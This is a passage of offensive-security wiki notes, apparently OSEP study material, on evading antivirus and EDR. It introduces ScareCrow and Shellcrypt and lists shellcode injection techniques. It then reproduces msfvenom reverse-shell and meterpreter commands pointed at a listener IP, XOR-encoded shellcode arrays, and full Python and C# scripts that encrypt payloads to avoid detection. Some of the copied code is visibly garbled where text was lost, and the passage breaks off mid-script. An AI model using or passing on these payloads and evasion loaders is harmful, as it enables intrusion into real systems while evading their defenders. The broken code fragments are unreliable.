&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
